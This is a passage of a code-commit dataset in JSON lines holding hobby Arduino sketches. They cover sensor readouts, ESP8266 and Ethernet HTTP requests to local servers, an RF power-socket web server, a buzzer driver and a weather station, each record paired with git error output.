\/\/temperature\n \/\/XBee.println(relay);\n}\n\nvoid serialDisplay() {\n \/\/serial printing for debug\n Serial.print(h_soil); \/\/soil humidity\n Serial.print(\",\");\n Serial.print(h_air); \/\/air humidity\n Serial.print(\",\");\n Serial.println(t); \/\/temperature\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sensorNode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1953e5ad6a7801fd24ae514da0e2178967e77c2d","subject":"Add dtostrf() for diag floats, turn off logging while sending diag","message":"Add dtostrf() for diag floats, turn off logging while sending diag\n","repos":"upperman\/Wireless-Led-Display,upperman\/Wireless-Led-Display","old_file":"Software\/arduino\/arduino.ino","new_file":"Software\/arduino\/arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/upperman\/Wireless-Led-Display.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e22303d06040c27da80febb4407fe76b608a600c","subject":"Update pt_remote controlled car.ino","message":"Update pt_remote controlled car.ino","repos":"billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino","old_file":"pt_remote controlled car\/pt_remote controlled car.ino","new_file":"pt_remote controlled car\/pt_remote controlled car.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car\/pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"931e961100b7568a0ca913d69d42bfe359ff7cb0","subject":"GCS Intial","message":"GCS Intial\n\nUntested\n","repos":"Dimasdanz\/BiotechProject,Dimasdanz\/BiotechProject","old_file":"BiotechHardware\/gcs\/gcs.ino","new_file":"BiotechHardware\/gcs\/gcs.ino","new_contents":"#include <SPI.h>\n#include <HttpClient.h>\n#include <Ethernet.h>\n#include <EthernetClient.h>\n\nbyte mac[] = { 0x90, 0xA2, 0xDA, 0x0E, 0xF5, 0x30 };\n\nconst char hostname[] = \"192.168.1.3\";\nconst char h_upper_url[] = \"\/api\/gcs_\";\nconst char h_lower_url[] = \"\/api\/gcs_\";\nconst char l_target_url[] = \"\/api\/gcs_\";\n\nIPAddress ip(192,168,4,3);\n\nconst int h_pin = 2;\nconst int t_pin = 3;\nconst int ah_pin = 2;\n\nvoid setup() {\n Serial.begin(9600);\n Ethernet.begin(mac, ip);\n delay(1000);\n}\n\nvoid loop()\n{\n int h_upper = get_value(h_upper_url).toInt();\n int h_lower = get_value(h_lower_url).toInt();\n int l_target = get_value(l_target_url).toInt();\n if(analogRead(A0) > h_upper){\n\t\/\/Do Something\n }else if(analogRead(A0) < h_lower){\n\t\/\/Do Something\n }\n}\n\nString get_value(const char url[]){\n int err = 0;\n int stringPos = 0; \n char inString[32];\n memset( &inString, 0, 32 );\n EthernetClient c;\n HttpClient http(c);\n err = http.get(hostname, url);\n if (err == 0){\n http.skipResponseHeaders();\n int bodyLen = http.contentLength();\n char c;\n while ((http.connected() || http.available())){\n if (http.available()){\n c = http.read();\n inString[stringPos] = c;\n stringPos ++;\n bodyLen--;\n }\n }\n return inString;\n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'BiotechHardware\/gcs\/gcs.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"4e3c4b1683f0368871d19a1e4c3d3a1e47d240dd","subject":"Arduino get message from servlet","message":"Arduino get message from servlet\n","repos":"yoowonyoung\/IoD,yoowonyoung\/IoD","old_file":"Arduino\/ServletCommunication\/ServletCommunication.ino","new_file":"Arduino\/ServletCommunication\/ServletCommunication.ino","new_contents":"#include <SoftwareSerial.h>\n\nSoftwareSerial softSerial(2, 3); \/\/ RX, TX\nString WSSID = \"SOGYOSU\";\nString WPASS = \"9220230s\";\nbool r;\n\nvoid setup() {\n \/* SETUP SERIAL COMMUNICATION *\/\n espSerialSetup();\n delay(2000); \/\/ Without this delay, sometimes, the program will not start until Serial Monitor is connected\n r = espSendCommand( \"AT+CIFSR\" , \"OK\" , 5000 );\n if ( !r ) {\n r = espSendCommand( \"AT+CWMODE=1\" , \"OK\" , 5000 );\n r = espSendCommand( \"AT+CWJAP=\\\"\" + WSSID + \"\\\",\\\"\" + WPASS + \"\\\"\" , \"OK\" , 15000 );\n }\n pinMode(8, OUTPUT);\n}\n\nvoid loop() {\n r = espSendCommand( \"AT+CIPSTART=\\\"TCP\\\",\\\"192.168.43.73\\\",8080\" , \"OK\" , 5000 );\n String getRequest = \"GET \/IoDServer\/iodcontrol?action=test HTTP\/1.0\\r\\n\";\n int getRequestLength = getRequest.length() + 2;\n r = espSendCommand( \"AT+CIPSEND=\" + String(getRequestLength) , \"OK\" , 5000 );\n if(espSendCommand( getRequest , \"SUCCESS\" , 15000 )){\n digitalWrite(8, HIGH);\n delay(1000);\n digitalWrite(8, LOW);\n }\n if ( !r ) {\n Serial.println( \"Something wrong...Attempting reset...\");\n espSendCommand( \"AT+RST\" , \"ready\" , 20000);\n espSendCommand( \"AT+CWMODE=1\" , \"OK\" , 5000 );\n espSendCommand( \"AT+CWJAP=\\\"\" + WSSID + \"\\\",\\\"\" + WPASS + \"\\\"\" , \"OK\" , 15000 );\n }\n delay(3000);\n}\n\nvoid espSerialSetup() {\n softSerial.begin(115200); \/\/ default baud rate for ESP8266\n delay(1000);\n softSerial.println(\"AT+CIOBAUD=9600\");\n delay(1000);\n softSerial.begin(9600);\n Serial.begin(9600);\n}\n\nbool espSendCommand(String cmd, String goodResponse, unsigned long timeout) {\n Serial.println(\"espSendCommand( \" + cmd + \" , \" + goodResponse + \" , \" + String(timeout) + \" )\" );\n softSerial.println(cmd);\n unsigned long tnow = millis();\n unsigned long tstart = millis();\n unsigned long execTime = 0;\n String response = \"\";\n char c;\n while ( true ) {\n if ( tnow > tstart + timeout ) {\n Serial.println(\"espSendCommand: FAILED - Timeout exceeded \" + String(timeout) + \" seconds\" );\n if ( response.length() > 0 ) {\n Serial.println(\"espSendCommand: RESPONSE:\");\n Serial.println( response );\n } else {\n Serial.println(\"espSendCommand: NO RESPONSE\");\n }\n return false;\n }\n c = softSerial.read();\n if ( c >= 0 ) {\n response += String(c);\n if ( response.indexOf(goodResponse) >= 0 ) {\n execTime = ( millis() - tstart );\n Serial.println(\"espSendCommand: SUCCESS - Response time: \" + String(execTime) + \"ms\");\n Serial.println(\"espSendCommand: RESPONSE:\");\n Serial.println(response);\n while (softSerial.available() > 0) {\n Serial.write(softSerial.read());\n }\n return true;\n }\n }\n tnow = millis();\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/ServletCommunication\/ServletCommunication.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"62202036575739b10bb088eaa2c4c62434869bc0","subject":"Initial import.","message":"Initial import.\n","repos":"DirtyHairy\/arduino-butler,DirtyHairy\/arduino-butler,DirtyHairy\/arduino-butler,DirtyHairy\/arduino-butler,DirtyHairy\/arduino-butler","old_file":"sketch\/arduino-golem\/arduino-golem.ino","new_file":"sketch\/arduino-golem\/arduino-golem.ino","new_contents":"\/\/ vim: softtabstop=2 tabstop=2 tw=120\n\n#include <RCSwitch.h>\n#include <SPI.h>\n#include <EthernetClient.h>\n#include <Ethernet.h>\n#include <EthernetServer.h>\n#include <string.h>\n\n\/\/#define DEBUG\n\n#define MAX_ROUTE_LENGTH 20\n#define MAX_HEADER_NAME_LENGTH 20\n#define MAX_HEADER_VALUE_LENGTH 20\n#define REQUEST_TIMEOUT 1000\n#define REQUEST_TRANSFER_BUFFER_SIZE 200\n#define URL_PARSE_BUFFER_SIZE 10\n\n#define SERIAL_BAUD 115200\n#define MAC_ADDRESS 0x00, 0x16, 0x3E, 0x54, 0x5E, 0xA1\n#define IP_ADDRESS 192, 168, 1, 10\n#define SERVER_PORT 80\n\n#define RF_EMITTER_PIN 5\n#define SEND_REPEAT 1\n#define SEND_REPEAT_DELAY 10\n\nclass FixedLengthString {\n public:\n\n FixedLengthString(char* buffer, uint16_t size) : buffer(buffer), max_len(size - 1), len(0) {\n buffer[0] = 0;\n }\n \n uint16_t Length() const {\n return len;\n }\n \n operator const char*() const {\n return buffer;\n }\n \n boolean Add(char character) {\n if (len == max_len) return false;\n \n buffer[len++] = character;\n buffer[len] = 0;\n \n return true;\n }\n \n FixedLengthString& Clear() {\n len = 0;\n buffer[0] = 0;\n \n return *this;\n }\n\n uint16_t MaxLength() {\n return max_len;\n }\n \n private:\n \n FixedLengthString(const FixedLengthString&);\n FixedLengthString& operator =(const FixedLengthString&);\n \n char* buffer;\n uint16_t max_len;\n uint16_t len;\n};\n\n\ntemplate<unsigned int M> class AllocatedFixedLengthString : public FixedLengthString {\n public:\n \n AllocatedFixedLengthString() : FixedLengthString(buffer, M + 1) {}\n\n private:\n\n char buffer[M + 1];\n};\n\n\nclass HttpParser {\n public:\n \n enum status_t {STATUS_PARSING, STATUS_SUCCESS, STATUS_FAILURE};\n \n HttpParser() : state(STATE_REQUEST_METHOD), last_char(0) {}\n \n HttpParser& PushChar(char character) {\n boolean isTerminator = (character == '\\n') && (last_char == '\\r');\n \n if (character == '\\r') {\n last_char = character;\n return *this;\n }\n \n switch (state) {\n case STATE_REQUEST_METHOD:\n if (isTerminator) {\n SetState(STATE_FAIL);\n } else if (character == ' ') {\n #ifdef DEBUG\n Serial.print(\"Request Method: \");\n Serial.println(method);\n #endif\n \n SetState(STATE_REQUEST_URL);\n } else {\n method.Add(character);\n }\n break;\n \n case STATE_REQUEST_URL:\n if (isTerminator) {\n SetState(STATE_FAIL);\n } else if (character == ' ') {\n #ifdef DEBUG\n Serial.print(\"Request Route: \");\n Serial.println(route);\n #endif\n \n SetState(STATE_REQUEST_PROTOCOL);\n } else {\n route.Add(character);\n }\n break;\n\n case STATE_REQUEST_PROTOCOL:\n if (isTerminator) {\n #ifdef DEBUG\n Serial.print(\"Request Protocol: \");\n Serial.println(protocol);\n #endif\n \n SetState(STATE_HEADER_NAME);\n } else {\n protocol.Add(character);\n }\n break;\n \n case STATE_HEADER_NAME:\n if (isTerminator) {\n SetState(header_name.Length() == 0 ? STATE_SUCCESS : STATE_FAIL);\n } else if (character == ':') {\n #ifdef DEBUG\n Serial.print(\"Header Name: \");\n Serial.println(header_name);\n #endif\n \n SetState(STATE_HEADER_VALUE);\n } else {\n header_name.Add(character);\n }\n break;\n \n case STATE_HEADER_VALUE:\n if (isTerminator) {\n #ifdef DEBUG\n Serial.print(\"Header Value: \");\n Serial.println(header_value);\n #endif\n \n SetState(STATE_HEADER_NAME);\n } else {\n if (character != ' ' || header_value.Length() > 0)\n header_value.Add(character);\n }\n break;\n\n }\n \n return *this;\n }\n \n status_t Status() const {\n switch (state) {\n case STATE_SUCCESS:\n return STATUS_SUCCESS;\n break;\n \n case STATE_FAIL:\n return STATUS_FAILURE;\n break;\n \n default:\n return STATUS_PARSING;\n }\n }\n \n HttpParser& Abort() {\n SetState(STATE_FAIL);\n return *this;\n }\n \n const FixedLengthString& Route() {\n return route;\n }\n \n private:\n\n enum parser_state_t {\n STATE_REQUEST_METHOD,\n STATE_REQUEST_URL,\n STATE_REQUEST_PROTOCOL,\n STATE_HEADER_NAME,\n STATE_HEADER_VALUE,\n STATE_SUCCESS,\n STATE_FAIL\n };\n \n void SetState(parser_state_t new_state) {\n state = new_state;\n \n switch (state) {\n case STATE_HEADER_NAME:\n header_name.Clear();\n break;\n \n case STATE_HEADER_VALUE:\n header_value.Clear();\n break;\n }\n }\n \n HttpParser(const HttpParser&);\n HttpParser& operator=(const HttpParser&);\n \n parser_state_t state;\n \n AllocatedFixedLengthString<7> method;\n AllocatedFixedLengthString<MAX_ROUTE_LENGTH> route;\n AllocatedFixedLengthString<8> protocol;\n AllocatedFixedLengthString<MAX_HEADER_NAME_LENGTH> header_name;\n AllocatedFixedLengthString<MAX_HEADER_VALUE_LENGTH> header_value;\n \n char last_char;\n};\n\n\nclass UrlParser {\n public:\n \n UrlParser(const char* url) : url(url), pos(0) {\n url_length = strlen(url);\n \n if (url_length > 0 && url[0] == '\/') pos = 1;\n }\n \n boolean NextPathElement(char* buffer, uint16_t buffer_size) {\n uint16_t current_pos = pos;\n FixedLengthString element(buffer, buffer_size);\n \n while (true) {\n\n\n if (current_pos >= url_length || url[current_pos] == '\/') {\n current_pos++;\n break;\n }\n\n if (!element.Add(url[current_pos])) return false;\n \n current_pos++;\n }\n\n pos = current_pos;\n\n #ifdef DEBUG\n Serial.print(\"Path fragment: \");\n Serial.println(element);\n #endif\n\n return true;\n }\n \n boolean AtEnd() {\n return pos >= url_length;\n }\n \n private:\n \n const char* url;\n uint16_t url_length;\n uint16_t pos;\n};\n\n\nclass Response {\n public:\n \n virtual void Send(EthernetClient&) = 0;\n};\n\n\nclass BadRequestResponse: public Response {\n public:\n\n virtual void Send(EthernetClient& client) {\n client.write(\"HTTP\/1.1 400 BAD REQUEST\\r\\n\\r\\n\");\n client.write(\"<html><head><title>Page not found!<\/title><\/head><body>Page not found!<\/body><\/html>\\n\");\n } \n};\n\n\nclass RouteNotFoundResponse: public Response {\n public:\n \n virtual void Send(EthernetClient& client) {\n client.write(\"HTTP\/1.1 404 NOT FOUND\\r\\n\");\n }\n};\n\n\nclass RequestOKResponse: public Response {\n public:\n \n virtual void Send(EthernetClient& client) {\n client.write(\"HTTP\/1.1 200 OK\\r\\n\\r\\n\");\n }\n};\n\n\nboolean toggle_switch(uint8_t switch_index, boolean toggle, RCSwitch& rc_switch) {\n if (switch_index > 3) return false; \n\n #ifdef DEBUG\n Serial.print(\"Toggle switch \");\n Serial.print(switch_index);\n Serial.println(toggle ? \" on\" : \" off\");\n #endif\n\n char code[14] = \"000FFFF0FFFFS\";\n\n switch (switch_index) {\n case 3:\n code[3] = '0';\n break;\n\n case 2:\n code[4] = '0';\n break;\n\n case 1:\n code[6] = '0';\n break;\n\n case 0:\n code[5] = '0';\n break;\n }\n\n if (!toggle) code[11] = '0';\n\n #ifdef DEBUG\n Serial.print(\"Sending code \");\n Serial.print(code);\n #endif\n\n for (uint8_t i = 0; i < SEND_REPEAT; i++) {\n if (i) delay(SEND_REPEAT_DELAY);\n rc_switch.sendTriState(code);\n }\n\n return true;\n}\n\n\nResponse& handle_request(HttpParser& parser, RCSwitch& rc_switch) {\n static BadRequestResponse response_bad_request;\n static RouteNotFoundResponse response_not_found;\n static RequestOKResponse response_ok;\n \n if (parser.Status() != HttpParser::STATUS_SUCCESS) {\n return response_bad_request;\n }\n\n UrlParser url_parser(parser.Route());\n char buffer[URL_PARSE_BUFFER_SIZE];\n \n if (!url_parser.NextPathElement(buffer, URL_PARSE_BUFFER_SIZE)) return response_not_found;\n if (strcmp(buffer, \"socket\") != 0) return response_not_found;\n \n if (!url_parser.NextPathElement(buffer, URL_PARSE_BUFFER_SIZE)) return response_not_found;\n if (strlen(buffer) > 2 ) return response_not_found;\n \n unsigned int switch_index;\n if (sscanf(buffer, \"%u\", &switch_index) == 0) return response_not_found;\n \n if (!url_parser.NextPathElement(buffer, URL_PARSE_BUFFER_SIZE)) return response_not_found;\n if (!url_parser.AtEnd()) return response_not_found;\n \n if (strcmp(buffer, \"on\") == 0) {\n if (!toggle_switch(switch_index, true, rc_switch)) return response_not_found;\n } else if (strcmp(buffer, \"off\") == 0) {\n if (!toggle_switch(switch_index, false, rc_switch)) return response_not_found;\n } else {\n return response_not_found;\n }\n \n return response_ok;\n}\n\n\nEthernetServer server(SERVER_PORT);\nRCSwitch rc_switch;\n\n\nvoid setup() {\n byte macAddress[] = {MAC_ADDRESS};\n IPAddress ip(IP_ADDRESS);\n\n pinMode(10, OUTPUT);\n pinMode(4, OUTPUT);\n \n digitalWrite(4, HIGH);\n digitalWrite(10, LOW);\n \n pinMode(RF_EMITTER_PIN, OUTPUT);\n rc_switch.enableTransmit(RF_EMITTER_PIN);\n\n Serial.begin(SERIAL_BAUD);\n Ethernet.begin(macAddress, ip);\n server.begin();\n \n Serial.print(\"Server listening at \");\n Serial.println(Ethernet.localIP());\n}\n\nvoid loop() {\n EthernetClient client = server.available();\n \n if (client) {\n #ifdef DEBUG\n Serial.println(\"Incoming connection...\");\n #endif\n \n HttpParser parser;\n uint32_t start_timestamp = millis();\n \n while (client.connected() && abs(millis() - start_timestamp) <= REQUEST_TIMEOUT && parser.Status() == HttpParser::STATUS_PARSING) {\n int bytes_available;\n\n while(parser.Status() == HttpParser::STATUS_PARSING && (bytes_available = client.available())) {\n char buffer[REQUEST_TRANSFER_BUFFER_SIZE];\n uint8_t to_read = bytes_available > REQUEST_TRANSFER_BUFFER_SIZE ? REQUEST_TRANSFER_BUFFER_SIZE : bytes_available;\n \n client.readBytes(buffer, to_read);\n for (uint8_t i = 0; i < to_read; i++) {\n parser.PushChar(buffer[i]);\n }\n };\n \n delay(10);\n }\n \n if ((abs(millis() - start_timestamp)) > REQUEST_TIMEOUT) {\n #ifdef DEBUG\n Serial.println(\"Request timeout\");\n #endif\n \n parser.Abort();\n }\n \n Response& response(handle_request(parser, rc_switch));\n response.Send(client);\n \n delay(10);\n \n client.stop(); \n }\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"10ef49afc7422ec31e26c5860daf792e3cca5e60","subject":"Implements buzzer via buzzer.ino","message":"Implements buzzer via buzzer.ino\n","repos":"freespace\/xadow-watch,freespace\/xadow-watch","old_file":"buzzer.ino","new_file":"buzzer.ino","new_contents":"\/\/ resonant frequency of the buzzer. At this frequency the buzzer\n\/\/ is the loudest\n#define BUZZER_FREQ_HZ (4000)\n\n\/\/ standard duration of an alert\n#define BUZZER_DURATION_MS (250)\n\nvoid buzzer_init() {\n}\n\n\/**\n * Plays jingle number n\n *\/\nvoid buzzer_jingle(uint8_t n) {\n buzzer_sound(261, 100);\n buzzer_sound(293, 100);\n buzzer_sound(329, 100);\n buzzer_sound(349, 100);\n buzzer_sound(391, 100);\n buzzer_sound(440, 100);\n}\n\n\/**\n * Sounds the buzzer. If freq_hz is 0 then the centre frequency\n * of the piezo is used. \n *\n * If dur_ms is 0, then a default duration of 250 ms is used.\n *\/ \nvoid buzzer_sound(uint16_t freq_hz, millis_delta_t dur_ms) {\n if (freq_hz == 0) freq_hz = BUZZER_FREQ_HZ;\n if (dur_ms == 0) dur_ms = BUZZER_DURATION_MS;\n\n \/\/ we need to end SPI b\/c we use MISO to control\n \/\/ the buzzer\n SPI.end();\n\n \/\/ make MISO an output\n DDRB |= _BV(PB3);\n\n millis_t now = millis();\n\n \/\/ generate a 2 kHz tone using delay. Not elegant but close enough\n uint16_t period_us = 1000000\/freq_hz;\n\n while (millis() - now < dur_ms) {\n PORTB |= _BV(PB3);\n delayMicroseconds(period_us\/2);\n PORTB &= ~_BV(PB3);\n delayMicroseconds(period_us\/2);\n }\n\n \/\/ restart SPI or OLED will not work\n SPI.begin();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'buzzer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a1208d48bbe04d0b5078aa0787f42e81e6d37f1c","subject":"Added first tracked version of main sketch","message":"Added first tracked version of main sketch\n\nSensitive information factored out into Marshall.h, not included in repository","repos":"crestlinesoaring\/ArduinoWeatherStation","old_file":"ArduinoWeatherStation.ino","new_file":"ArduinoWeatherStation.ino","new_contents":"\/*\n Weather Shield Example\n By: Nathan Seidle\n SparkFun Electronics\n Date: November 16th, 2013\n License: This code is public domain but you buy me a beer if you use this and we meet someday (Beerware license).\n\n Much of this is based on Mike Grusin's USB Weather Board code: https:\/\/www.sparkfun.com\/products\/10586\n\n *\/\nconst String wxVersion = \"L12jB3\"; \/\/ jjj\nconst String wxOwner = \"-M-\";\nconst byte ina219a_HWaddr = 0x40; \/\/0x40 for everyone but Lance. 0x44 for Lance.\nconst byte ina219b_HWaddr = 0x41; \/\/\nconst byte bme280a_HWaddr = 0x76; \/\/Default may be 0x77 depending on mfgr\nconst bool disableNTP = true; \/\/Set to false to allow NTP, but it can cause crashes if it doesn't get a response.\nconst String startupMessage = \"UM Weather Station (ver L12jB3 2017\/09\/07) starting at ms \"; \/\/ jjj\n\n\n#include <avr\/wdt.h> \/\/ WatchDog Timer. If I hit an endless loop, reset. Kindof. May not reset Ethernet properly.\n#include <EEPROM.h> \/\/ will need this if I start writing to eeprom\n#include <Wire.h> \/\/ I2C needed for weather station sensors\n#include <Math.h> \/\/ Need cos() for calculating sunrise & sunset\n#include <Time.h> \/\/ https:\/\/github.com\/PaulStoffregen\/Time but this header doesn't seem to be needed?\n#include <TimeLib.h> \/\/ https:\/\/github.com\/PaulStoffregen\/Time\n#include <Timezone.h> \/\/ https:\/\/github.com\/JChristensen\/Timezone, might conflict with timelib above?\n#include <DS3232RTC.h> \/\/ https:\/\/github.com\/JChristensen\/DS3232RTC, using a DS3231, but it's still supported.\n\/\/#include \"TinyGPS.h\" \/\/ https:\/\/github.com\/mikalhart\/TinyGPS, GPS module for time with no Internet\n#include \"SparkFunMPL3115A2.h\" \/\/ Pressure sensor - Search \"SparkFun MPL3115\" and install from Library Manager\n#include \"SparkFunHTU21D.h\" \/\/ Humidity sensor - Search \"SparkFun HTU21D\" and install from Library Manager\n#include \"Adafruit_INA219.h\" \/\/ Voltage\/Current sensor. https:\/\/github.com\/adafruit\/Adafruit_INA219\n#include \"SparkFunBME280.h\" \/\/ High precision Temp & Humidity sensor. https:\/\/github.com\/sparkfun\/SparkFun_BME280_Arduino_Library\n\n#include \"Marshall.h\" \/\/ Site-specific parameters that cannot currently be published\n\n\/\/#define logOneLine( line) logFile.println(line); Serial.println(line);\n\/\/#define logOneLine2( line, base) logFile.println(line, base); Serial.println(line,base);\n\/\/#define logSome( line) logFile.print(line); Serial.print(line);\n#define logOneLine( line) Serial.println(line);\n#define logOneLine2( line, base) Serial.println(line,base);\n#define logSome( line) Serial.print(line);\n\n\nAdafruit_INA219 ina219a(ina219a_HWaddr); \/\/ First ina219 sensor: A\nAdafruit_INA219 ina219b(ina219b_HWaddr); \/\/ Second ina219 sensor: B\nBME280 bme280a; \/\/ First bme280 sensor: A\nMPL3115A2 myPressure; \/\/Create an instance of the pressure sensor\nHTU21D myHumidity; \/\/Create an instance of the humidity sensor\n\n\/\/Hardware pin definitions, weather station\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\/\/ digital I\/O pins\nconst byte WSPEED = 3;\nconst byte RAIN = 2;\nconst byte STAT1 = 7;\nconst byte STAT2 = 8;\n\n\/\/ analog I\/O pins\nconst byte WDIR = A0;\nconst byte LIGHT = A1;\nconst byte BATT = A2;\nconst byte REFERENCE_3V3 = A3;\nconst byte SLA_BATT = A12;\n\n\/\/ I2C devices\n\/\/ 0x40 64 Humidity\/temp sensor?\n\/\/ 0x44 68 INA219 on 3rd address (1st address is 0x40, conflicts with humidty sensor)\n\/\/ 0x41 65 INA219 on 2nd address\n\/\/ 0x60 96 Humidity\/temp sensor?\n\/\/ 0x76 118 BME280 environmental sensor\n\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\/\/ EEPROM MAP of used addresses\n\/\/ 00-08 RESERVED\n\/\/ 09 PowerSave flag\n\/\/ 10 Watchdog flag\n\/\/ 11-14 Watchdog time_t\n\/\/\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\nconst int eePowerSave = 9;\nconst int eeWatchdog = 10;\nconst int eeWatchdogTime = 11;\n\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n\/\/Global Variables\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\nunsigned long lastSecond; \/\/The millis counter to see when a second rolls by\nunsigned long loopCounter; \/\/see how often we loop\nunsigned long loopDelta; \/\/see how many loops since the last print\nunsigned long msTemp; \/\/store millis() now and then to see how long something took, for Serial.print()s all over\nunsigned long usTemp; \/\/store micros() now and then to see how long something took. Much smaller than millis!\nbyte seconds; \/\/When it hits 60, increase the current minute\nbyte minutes; \/\/Keeps track of where we are in various arrays of data\nbyte minutes_10m; \/\/Keeps track of where we are in wind gust\/dir over last 10 minutes array of data\nbyte minutes_5m; \/\/Keep track of wind gust over previous 5 minutes.\nbyte hours;\nint days; \/\/Yes I'm optimistic\nint sunrise; \/\/Minutes after midnight for sunrise\nint sunset; \/\/Minutes after midnight for sunset\nbyte sunriseDay = 0; \/\/Day we last calculated sunrise\/sunset for. If it's not today, calc again.\nbool justBooted = true; \/\/Some stuff settles after the first minute, so let's keep track of that.\nbool justRestarted = true; \/\/Print an R at the end of the first upload attempt to make it easy to see a reboot.\nbool powerSave = false; \/\/Set a flag when we're in power save mode. Do some stuff different.\ntime_t reportWatchdog = 0; \/\/Do we need to report a watchdog reset?\ntime_t recentTime = 0; \/\/Set the current time periodically so we can use it in the Watchdog Interrupt\ntime_t lastCrashTime = 0;\nconst char charComma = ','; \/\/Save 16 bytes with Serial.print(charComma) instead of Serial.print(\",\") all over.\n\/\/const char compile_date[] = __DATE__ \" \" __TIME__;\n\nlong lastWindCheck = 0;\nvolatile long lastWindIRQ = 0;\nvolatile byte windClicks = 0;\n\n\/\/ For Marshall weather, keep track of and report the following:\n\/*\n * 1: time\n * 2: date\n * 3: Wind speed mph, 1 min avg\n * 4: Wind speed mph, 10 min Peak (needs to change to 5 min peak)\n * 5: Wind direction, 1 min avg\n * 6: Temerature in F, outside, current\n * 7: Humidity, outside, current\n * 8: Barometric pressure in kPa (divide by 100), sampled once a minute\n * 9: Barometric pressure delta since last sample (1 minute ago)\n * 10: rain for the day (not used, set to -LR- for identification)\n * 11: rain long term? (not used, set to -LR- for identification)\n * 12: Temperature in C from RTC\n * 13: Humidity, inside enclosure, currently same as #7\n * 13: voltage 1: battery\n * 14: current 1: battery\n * 15: voltage 2: 5v\n * 16: current 2: 5v\n * 17: light level (accurate, but probably zero inside enclosure)\n * 18: uptime in HH:MM:SS\n * 19: raw wind direction reading for calculating best binning values\n * 20: Status stuff: reboots, socket status, failures, etc...\n *\/\n\nfloat windSpeedAvg = 0; \/\/Lets try keeping avg using MATH!\n\n#define WIND_DIR_AVG_SIZE 60\n#define WIND_SPEED_AVG_SIZE 60\n#define VOLTAGE_AVG_SIZE 10\nint winddiravg[WIND_DIR_AVG_SIZE]; \/\/120 (now 60) ints to keep track of 2 (now 1) minute average.\nfloat windgust_10m[10]; \/\/10 floats to keep track of 10 minute max\nfloat windgust_5m[5]; \/\/5 floats to keep track of highest gust each of the last 5 minutes.\nint windgustdirection_10m[10]; \/\/10 ints to keep track of 10 minute max\nint windgustdirection_5m[5]; \/\/5 ints to keep track of 5 minute max\nvolatile float rainHour[60]; \/\/60 floating numbers to keep track of 60 minutes of rain\n\n\/\/These are all the weather values that wunderground expects:\nint winddir = 0; \/\/ [0-360 instantaneous wind direction]\nunsigned int winddirRaw = 0; \/\/ Keep the raw ADC reading for troubleshooting\nfloat windspeedmph = 0; \/\/ [mph instantaneous wind speed]\nfloat windgustmph = 0; \/\/ [mph current wind gust, using software specific time period]\nint windgustdir = 0; \/\/ [0-360 using software specific time period]\nint winddir_avg2m = 0; \/\/ [0-360 2 minute average wind direction]\nfloat windgustmph_10m = 0; \/\/ [mph past 10 minutes wind gust mph ]\nfloat windgustmph_5m = 0; \/\/ [mph past 5 minutes wind gust]\nfloat windmax_1m = 0;\nfloat windmin_1m = 0;\nint windgustdir_10m = 0; \/\/ [0-360 past 10 minutes wind gust direction]\nint windgustdir_5m = 0; \/\/ 0-360 past 5 minutes wind gust direction\nString strWindDir = \"ERR\"; \/\/ N, NNE, NE, ENE, E, ESE, SE, SSE, S, SSW, SW, WSW, W, WNW, NW, NNW\n\nfloat humidity = 0; \/\/ [%]\nfloat tempf = 0; \/\/ [temperature F]\nfloat rainin = 0; \/\/ [rain inches over the past hour)] -- the accumulated rainfall in the past 60 min\nvolatile float dailyrainin = 0; \/\/ [rain inches so far today in local time]\nfloat pressure = 0;\nfloat oldPressure = 0;\nfloat pres5min[5];\n\/\/float dewptf; \/\/ [dewpoint F] - It's hard to calculate dewpoint locally, do this in the agent\n\nfloat batt_lvl = 11.8; \/\/ [analog value from 0 to 1023]\nfloat sla_lvl = 11.8; \/\/ [analog value from 0 to 1023; measures Sealed Lead Acid battery voltage via external voltage divider]\nint sla_raw = 0; \/\/ integer, raw 0-1023 reading from Analog Port\nfloat sla_30sec = 11.8; \/\/ 10 second rolling average of SLA battery voltage (~12v)\nint sla_10secRaw = 1180; \/\/ 10 second average of AnalogPort reading (0-1023).\nfloat light_lvl = 455; \/\/ [analog value from 0 to 1023]\nfloat ina219a_volts;\nfloat ina219a_current;\nfloat ina219b_volts;\nfloat ina219b_current;\n\n\/\/ volatiles are subject to modification by IRQs\nvolatile unsigned long raintime, rainlast, raininterval, rain;\n\n\n\/\/****************************\n\/\/*** Data Storage in RAM ***\n\/\/****************************\n\n\/\/ 10 bytes so far, that's 2,400 bytes to store 4 hours. Not bad?\nstruct wxCache_struct {\n byte wd : 6; \/\/Wind direction \/ 6 (remember to multiply)\n byte ws : 6; \/\/Wind speed\n byte gust : 4; 